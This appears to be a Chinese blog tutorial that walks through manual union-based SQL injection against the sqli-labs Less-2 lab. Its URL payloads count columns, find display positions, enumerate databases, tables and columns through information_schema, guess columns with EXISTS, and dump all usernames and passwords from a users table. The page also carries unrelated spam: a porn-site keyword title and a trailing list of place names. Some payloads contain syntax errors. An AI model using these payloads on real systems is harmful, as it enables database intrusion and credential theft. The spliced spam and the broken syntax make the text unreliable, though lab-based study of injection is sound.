中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

sql注入之手工注入的示例分析

發布時間:2021-09-02 10:28:53 來源:億速云 閱讀:137 作者:小新 欄目:數據庫

這篇文章將為大家詳細講解有關sql注入之手工注入的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

為了方便說明,我們還是用之前的數字型的注入點為例來進行說明。

得到字段總數

在前面的介紹中,我們已經知道在http://localhost/sqlilabs/Less-2/?id=1id是一個注入點。

后臺的SQL語句的寫法大致為

select username,password,[....] from table where id=userinput

那么我們通過使用order by的語句來判斷select所查詢字段的數目。

那么payload變為:

http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....

當使用order by 4時程序出錯,那么select的字段一共是3個。

得到顯示位

在頁面上會顯示從select中選取的字段,我們接下來就是要判斷顯示的字段是哪幾個字段。

使用如下的payload(兩者均可)進行判斷。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

當使用個如上的payload時,頁面的顯示如下:

sql注入之手工注入的示例分析

通過如上的頁面顯示就可以知道,頁面中顯示的是第2位和第3位的信息。

查選庫

在知道了顯示位之后,那么接下來就可以通過顯示位來顯示我們想知道的信息,如數據庫的版本,用戶信息等等。那么我們使用如下的payload就可以知道相關的信息。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此時頁面的顯示為:

sql注入之手工注入的示例分析

可以看到在頁面上就出現了數據庫的版本信息和當前使用的數據庫信息。

那么接下來我們通過這種方式知道數據庫中所有的數據庫的名稱。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到第一個庫名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二個庫名
...

查選表名

由于database()返回的就是當前web程序所使用的數據庫名,那么我們就利用database()來查詢所有的表信息。當然在上一步中。我們也已經知道當前的database就是security

那么我們構造的payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

這樣我們就得到當前數據庫下所有的表名了。頁面返回的結果是:

sql注入之手工注入的示例分析

所以我們知道在當前的數據庫中存在4張表,分別是emails,referers,uagents,users

查選列名

在知道了表名之后,接下來我們利用information_schema.columns就可以根據表名來獲取當前表中所有的字段。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進制)

頁面的顯示結果如下:

sql注入之手工注入的示例分析

通過這個語句,我們就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password這些字段。但是我本地測試的測試的時候,這個存在一個問題,實際上在security數據庫的users的表中,只有id,username,password這3個字段,其他的字段都是其他數據庫的中users表的字段名。

通過上面的payload,我們也同樣可以知道在emails,referers,uagents中的字段名稱。

但是有的時候后臺的代碼可能僅用了使用where子句,那么這個時候就無法通過information_schema.coumns來得到列名了,這個時候只能夠根據你自己多年的黑客經驗來進行猜解了。猜解的方法也是比較的簡單,使用exists子句就可以進行猜解了。假設在我們已經知道了表名的情況下(當然猜解表名也使用通過exists子句來完成)。

猜解的語句如下:

http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)

主要的語句就是exists(select 需要猜解的列名 from users)這種句式。如果在users表中不存在uname列名,則頁面不會顯示內容或者是直接出現sql的錯誤語句。

如下如所示:

sql注入之手工注入的示例分析

下面這個就是猜解到了users表中存在的字段。

http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)

猜測在users表中存在username列,上面的語句程序可以正常第返回結果,那么壽命在users表中確實存在username列名。

脫褲

在知道了當前數據庫所有的表名和字段名之后,接下來我們就可以dump數據庫中所有的信息了。比如我們下載當前users表中所有的數據。

可以使用如下的payload:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users

就可以得到users表中所有的usernamepassword的數據了,通過這種方式也能夠得到其他表中的數據了。

關于“sql注入之手工注入的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

sql
AI

乌兰察布市| 岗巴县| 庄河市| 滁州市| 金坛市| 吴忠市| 平顶山市| 丰宁| 吉安市| 富裕县| 鄢陵县| 贡山| 东宁县| 阜平县| 新郑市| 仁寿县| 武夷山市| 金秀| 革吉县| 恩施市| 鹤山市| 同仁县| 高要市| 佳木斯市| 那坡县| 达尔| 萍乡市| 疏勒县| 新丰县| 康平县| 陆丰市| 静宁县| 肥东县| 张家界市| 共和县| 镇安县| 余干县| 泾源县| 崇文区| 福安市| 普格县|